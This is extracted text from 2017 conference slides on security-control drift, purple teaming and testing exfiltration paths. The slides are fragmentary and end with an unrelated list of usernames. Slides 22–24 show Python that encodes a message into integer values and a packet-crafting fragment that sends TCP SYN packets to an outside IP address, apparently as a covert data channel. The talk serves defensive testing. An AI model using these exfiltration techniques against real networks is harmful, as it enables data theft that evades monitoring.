the environment with a baseline configuration 1. How and if this configuration is ever validated is debatable RFP, while legally binding, won’t help in an incident • After deployment security control, like any system will drift Clay, Justin Dissembling Ferret May 5, 2017 3 / 33
track drift and spot a failure in a security control is critical 1. Main paths Security audit or penetration test Lucky catch by staff Security incident RCA 2. None of these paths are optimal • Configuration control is essential to validate assumptions of effectiveness of security controls Clay, Justin Dissembling Ferret May 5, 2017 4 / 33
controls in many circumstances • While it may not be necessary to contact vendors to address the problem 1. It is imperative that teams know their gaps and blind spots to plan effectively Clay, Justin Dissembling Ferret May 5, 2017 5 / 33
need to be operationalized in your environment • Only through regular technical testing can you retain confidence in your security posture • Many of these tools are free 1. If it’s on Kali you should be running it! 2. If you can’t staff for this operation consider outsourcing • Responding to drift may make the difference between an emergency config change and a security incident. Clay, Justin Dissembling Ferret May 5, 2017 6 / 33
the latest tools may be hard 1. Consider making a ”purple team” part of your pen test engagement 2. When the pen testers leave you should be running their tools as part of your remediation plan 3. None of the tools are overly hard and are fun so staffing will likely be easy (junior staff) Clay, Justin Dissembling Ferret May 5, 2017 7 / 33
• HTTPS - encrypted • HTTP, FTP? - can this be prevented? • Reverse shell, bind shell to TCP port - good luck! Clay, Justin Dissembling Ferret May 5, 2017 9 / 33
p l i e r = 16777216 message=’ Hi ’ for char in message : e x f i l C h a r = ord ( char ) ∗ m u l t i p l i e r print e x f i l C h a r #decode=chr ( e x f i l C h a r / m u l t i p l i e r ) 1207959552 1761607680 Clay, Justin Dissembling Ferret May 5, 2017 22 / 33
p l i e r = 256 message = ’ Hi ’ for char in message : e x f i l C h a r = ord ( char ) ∗ m u l t i p l i e r print e x f i l C h a r #decode=chr ( e x f i l C h a r / m u l t i p l i e r ) 18432 26880 Clay, Justin Dissembling Ferret May 5, 2017 23 / 33
r c=d e s t i n a t i o n , dst=’ 65.199.32.22 ’ ) / TCP( sport=dstport , dport =80, f l a g s=’S ’ ) Clay, Justin Dissembling Ferret May 5, 2017 24 / 33
Clay Wells
clayball
reverentgeek
rmw
skipperchong
carmenhchung
keathley
productmarketing
clairelew
thoeni
jcasabona
